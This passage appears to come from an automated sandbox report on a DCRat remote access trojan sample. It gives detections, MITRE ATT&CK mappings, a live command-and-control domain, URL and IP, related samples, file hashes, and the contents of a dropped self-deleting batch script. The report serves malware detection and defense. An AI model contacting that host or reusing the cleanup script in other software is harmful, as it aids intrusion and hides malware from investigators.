Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\flat_officeFontsPreview.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\OFFSYMXL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\1hibLFnCm1.exe

Code function: 0_2_00F5B884 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00F5B884

Source: C:\Users\user\AppData\Roaming\ms_updater.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 3.0.ms_updater.exe.d90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.1hibLFnCm1.exe.f50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.1699967680.0000000000D92000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1759262008.000000000314B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1759262008.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1hibLFnCm1.exe PID: 6532, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ms_updater.exe PID: 6768, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\ms_updater.exe, type: DROPPED

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 3.0.ms_updater.exe.d90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.1hibLFnCm1.exe.f50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.1699967680.0000000000D92000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1759262008.000000000314B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1759262008.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1hibLFnCm1.exe PID: 6532, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ms_updater.exe PID: 6768, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\ms_updater.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Native API	1 Scripting	12 Process Injection	11 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	221 Security Software Discovery	Remote Desktop Protocol	1 Clipboard Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	131 Virtualization/Sandbox Evasion	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	12 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Process Injection	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Deobfuscate/Decode Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Software Packing	DCSync	135 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
1hibLFnCm1.exe	71%	ReversingLabs	Win32.Trojan.Zusy
1hibLFnCm1.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\jClCs9nEU3.bat	100%	Avira	BAT/Delbat.C
C:\Users\user\Desktop\gOvRVAND.log	100%	Avira	HEUR/AGEN.1300079
C:\Users\user\AppData\Roaming\ms_updater.exe	100%	Avira	HEUR/AGEN.1309961
C:\Users\user\AppData\Roaming\ms_updater.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\ms_tool.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\ms_updater.exe	88%	ReversingLabs	ByteCode-MSIL.Trojan.Whispergate
C:\Users\user\Desktop\gOvRVAND.log	17%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\mHYqxgSr.log	6%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.apache.org/licenses/LICENSE-2.0	0%	URL Reputation	safe
http://www.fontbureau.com	0%	URL Reputation	safe
http://www.fontbureau.com/designersG	0%	URL Reputation	safe
http://www.fontbureau.com/designers/?	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.fontbureau.com/designers?	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.fontbureau.com/designers	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.fontbureau.com/designers/cabarga.htmlN	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.fontbureau.com/designers/frere-user.html	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.fontbureau.com/designers8	0%	URL Reputation	safe
http://www.fonts.com	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://118621cm.n9shteam2.top/	100%	Avira URL Cloud	malware
http://118621cm.n9shteam2.top/protecttrackDatalifePrivateCentral.php	100%	Avira URL Cloud	malware
http://118621cm.n9shteX	0%	Avira URL Cloud	safe
http://118621cm.n9shteam2.top	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
118621cm.n9shteam2.top	104.21.90.190	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://118621cm.n9shteam2.top/protecttrackDatalifePrivateCentral.php	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://118621cm.n9shteam2.top/	ms_updater.exe, 00000003.00000002.1759262008.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.apache.org/licenses/LICENSE-2.0	ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com	ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designersG	ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/?	ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/bThe	ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.tiro.com	ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers	ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.goodfont.co.kr	ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.coml	ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sajatypeworks.com	ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/cThe	ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://118621cm.n9shteX	ms_updater.exe, 00000003.00000002.1759262008.00000000033A6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn	ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-user.html	ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/	ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://118621cm.n9shteam2.top	ms_updater.exe, 00000003.00000002.1759262008.00000000030D6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.fonts.com	ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sandoll.co.kr	ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.urwpp.deDPlease	ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	ms_updater.exe, 00000003.00000002.1759262008.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sakkal.com	ms_updater.exe, 00000003.00000002.1769539098.000000001FFA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.90.190	118621cm.n9shteam2.top	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1466966
Start date and time:	2024-07-03 15:51:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1hibLFnCm1.exe renamed because original name is a hash value
Original Sample Name:	2196EDD4AD9D7E8CA345339A66E2FED5.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@13/8@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 68% Number of executed functions: 150 Number of non-executed functions: 59
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: 1hibLFnCm1.exe

Simulations

Behavior and APIs

Time	Type	Description
09:52:06	API Interceptor	19x Sleep call for process: ms_updater.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.90.190	sA74WsR0pQ.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	235566cm.n9shteam2.top/JsupdatedefaultTrafficCentral.php
	OhfDz9BBR9.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	751120cm.n9shteam2.top/TorequestAuthlongpollServerSqlasyncuniversalPublic.php
	yxyZx5FFRS.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	044913cm.n9shteam2.top/eternalProtectdefault.php
	0okjnm1gOR.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	055442cm.n9shteam2.top/EternalpollProtectTrafficWordpressLocaltempdownloads.php
	DCRatBuild(1).exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	796367cm.n9shteam2.top/ProvidervideoPythondefaultPrivate.php
	T7Em03jTPA.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	550515cm.n9shteam2.top/eternalUpdatebigloaduniversalDatalife.php
	YLICY3GBmX.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	842614cm.n9shteam2.top/videosecureasyncDatalifeUploads.php
	SecuriteInfo.com.HEUR.Trojan.MSIL.Agent.gen.4285.13890.exe	Get hash	malicious	DCRat	Browse	739668cm.n9shteam2.top/ImagegeoapiMultiBaselinuxTrackTempuploads.php
	b2BVDCUwAF.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	421820cm.n9shteam2.top/eternalPythonrequestPollbaseasyncGeneratorwpDlePublic.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	beK7HmoXro.exe	Get hash	malicious	Unknown	Browse	104.16.184.241
	https://uglb4.roperelo.com/caGPey/	Get hash	malicious	Unknown	Browse	104.17.2.184
	tgBNtoWqIp.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	https://hr.economictimes.indiatimes.com/etl.php?url=https://hr.economictimes.indiatimes.com/etl.php?url=//maansaa.com/new/auth//xp8tpwsulfhjn/%2F/YW5keS5ncmVmcmF0aEBrcHMuY29t	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	19808bS58f.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	SecuriteInfo.com.TrojanLoader.MSIL.DaVinci.Heur.6737.3783.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	https://url7304.disco-mailer.net/ls/click?upn=u001.DWLeRfOXStcSaUNphm6ZnGquuezyvOF0FIuLMCSCrIQ9t3e8n3fjexKHJjVTV-2BQUFT1dnxR3BcyXaxz-2BblhjX71zswvTIlAGm31luuFhJgeOGXb3dn9Itq74-2Fe-2BlKg-2Bs0-2F4odRns7kSdvfqBhyqSbrYsnPmx4SeDwlRdlhHbM3UucitnipcwJ1gR7h8DzOIUWsvEslHUA8FsNTNWtsq3Q-2FU-2FPeBtGbo-2Fx3kgcXxAZuE-3DPmkq_5KlZmZKASPtIpYbHU6HHQmxS-2FHe3g010GX01BBBmlalJnMdBClXoEYQADKPWInqgHw-2B5921oa-2Fum9DxIHV8wgOarlsOnYJwzp6I2lNDfeCQdFcL55956QetBM0U9iihLLCXzc7MWVFcQDUwnaU8PUgQFrTwK63nQhJu8ngVllYSJR-2BUamfX7Ej8Gpp4vMWsL8t65JTtpjdFVQ36IgP-2B2LxLYSj9SfdmLAt97TCVXHWn7xANKqYpl-2BYx09SetkszDOjJuUV9L9bqZ-2FbmClOsUrPLylG74RJ8zQAREr7-2BUktmlWKoc8C7oqqTOKv340mZnTc-2FztCVjFgPMm1Bz5lR5AptUVEvvSBboXVGluKKoNkkMFkS-2BmNybyD3Aa-2BX8UZ5s	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://www.evernote.com/shard/s371/sh/f041cc04-2eb8-11e1-1279-c0c24914207a/LWhD3rgdQ5xR5t--iDOJ7P-MUkYVUhgRq62dC8LVzLZOnctWRKJm5hEzqg	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	GA4vpVYBVP.exe	Get hash	malicious	DBatLoader, FormBook	Browse	172.67.145.203
	RR1h1iO6W2.exe	Get hash	malicious	FormBook	Browse	188.114.97.3

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Desktop\gOvRVAND.log	Vg46FzGtNo.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	hZE4solQRQ.exe	Get hash	malicious	DCRat	Browse
	AK4VPeDc0M.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	6Z4Q4bREii.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	a6zbacl43h.exe	Get hash	malicious	DCRat	Browse
	BbaXbvOA7D.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	cL7A9wGE3w.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	j05KsN2280.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	2lR1Spui9w.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	b8khu7cOny.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
C:\Users\user\AppData\Roaming\ms_tool.exe	standlose plus.exe	Get hash	malicious	DCRat	Browse
	6lmWSYhtHT.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	GlhUEXoa8D.exe	Get hash	malicious	DCRat, PureLog Stealer	Browse
	47VcV3MNuc.exe	Get hash	malicious	DCRat	Browse
	8JUrnD9NeY.exe	Get hash	malicious	DCRat	Browse
	SL3qvfqA8t.exe	Get hash	malicious	DCRat	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ms_updater.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\ms_updater.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	5.36827240602657
Encrypted:	false
SSDEEP:	48:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhAHKKk+HKlT4vHNpv:iq+wmj0qCYqGSI6oPtzHeqKk+qZ4vtpv
MD5:	1152A0332636E97D888ECFF02C1B19A9
SHA1:	365D4052647A8B9BCC0512CBCFB12279316549FD
SHA-256:	C72695BD822EB0EB112850B84D7ABBD5BADF07C3A0A670422D9DA3620BAE6EB4
SHA-512:	9FFC281DBF24C21DDEC4BE93941339B7601AD12C24D11176668DBDFD0AD5826FDA463620BF9E129030D9119BF9A9E21C45A999F31249AA9BD65B85546783AD28
Malicious:	false
Reputation:	low
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Temp\LLzNk9wqw6

Download File

Process:	C:\Users\user\AppData\Roaming\ms_updater.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.4838561897747224
Encrypted:	false
SSDEEP:	3:GxC3GLIbVTn:GxCsyTn
MD5:	A795B06925AF161176CDEF580E5FA14B
SHA1:	84EABE55FBF43684747F8E2027B3EA377BBC7ACC
SHA-256:	685D6D937BE665F7E526EB51684F33CC7B0950B8B7E2683BCE4CB7D39DECFFC3
SHA-512:	03E0E2D15D91AF5380183E0917F7B2ED7690EFE6C30D9E86C40BA648BE16DDDF8CC30DD3911D12BE93E117974602FE387BDA086060E7E96F29198591A1D6CC00
Malicious:	false
Reputation:	low
Preview:	DfNUvaZEhgV5CcnmAdRNKxcY6

C:\Users\user\AppData\Local\Temp\jClCs9nEU3.bat

Download File

Process:	C:\Users\user\AppData\Roaming\ms_updater.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	225
Entropy (8bit):	5.058654544935388
Encrypted:	false
SSDEEP:	6:hCijTg3Nou1ShCZG1wknaZ54hKOZG1wkn23fZh:HTg9uyrHgf3
MD5:	EDDB6633A7759841AF7FDB6EB30A0814
SHA1:	CB8BEEB56E2DFE3E2081E21E1C6A3F2FEF69536E
SHA-256:	7194CA4622E5A75CA2CEE06C7C55BE52AA674734B8D583B98273E5745B7F0721
SHA-512:	0BBFEB843BEF1AEF04F6C23BC569CAC1F9DA6B55B5963354C502951053F41CA0AD8B46D07D09BE16BC8A47356AF8E0FF37D97C237104761C2AB3E6AE865FD51A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Reputation:	low
Preview:	@echo off..chcp 65001..w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 > nul..del /a /q /f "C:\Users\user\AppData\Roaming\ms_updater.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\jClCs9nEU3.bat"

C:\Users\user\AppData\Roaming\ms_tool.exe

Download File

Process:	C:\Users\user\Desktop\1hibLFnCm1.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	18944
Entropy (8bit):	5.181595394449682
Encrypted:	false
SSDEEP:	384:abquDyuX3PMD1A77ciNqC/Elsrl+0+/QlDIINvB0WLFW:gquuuHPMDinDY9al+0WQFNvBZ
MD5:	F3EDFF85DE5FD002692D54A04BCB1C09
SHA1:	4C844C5B0EE7CB230C9C28290D079143E00CB216
SHA-256:	CAF29650446DB3842E1C1E8E5E1BAFADAF90FC82C5C37B9E2C75A089B7476131
SHA-512:	531D920E2567F58E8169AFC786637C1A0F7B9B5C27B27B5F0EDDBFC3E00CECD7BEA597E34061D836647C5F8C7757F2FE02952A9793344E21B39DDD4BF7985F9D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: standlose plus.exe, Detection: malicious, Browse Filename: 6lmWSYhtHT.exe, Detection: malicious, Browse Filename: GlhUEXoa8D.exe, Detection: malicious, Browse Filename: 47VcV3MNuc.exe, Detection: malicious, Browse Filename: 8JUrnD9NeY.exe, Detection: malicious, Browse Filename: SL3qvfqA8t.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~@..:!o.:!o.:!o.3Y...!o..Jj.;!o..Jl.9!o..Jk.(!o.:!n.z!o..Jn.9!o..Jg.8!o..J..;!o..Jm.;!o.Rich:!o.........PE..d...h.6;.........."......"...*.......(.........@.....................................`....`.......... .......................................H...............p.................. ...`D..T............................@..............(A...............................text...0 .......".................. ..`.rdata..~....@.......&..............@..@.data........`.......<..............@....pdata.......p.......>..............@..@.rsrc................@..............@..@.reloc.. ............H..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\ms_updater.exe

Download File

Process:	C:\Users\user\Desktop\1hibLFnCm1.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	640512
Entropy (8bit):	5.689710256126498
Encrypted:	false
SSDEEP:	12288:y4Tnk5JYTGS7QxJnYV7tJJMA+mEgcvJMjucBZ6:y4TnOSYYV7XJMA+byuW6
MD5:	CEAC3DE237F6B1DC4B279D8E5F5B3689
SHA1:	6C9C0B9031A3D136FF133B5FC72B1A1F3121E100
SHA-256:	80BD7EC034AD211DC479ADCDE679F2D3EC28F478692AA84338CE057AB548E510
SHA-512:	81501C9DEC1B39CFDA4FA4D8FF4573DD0BCC421272BF59955CDD7995DD8B31037FCC9D36AC9B146EE096E4687286D7590336A1F844AEB09DFA16B256BB253888
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Users\user\AppData\Roaming\ms_updater.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
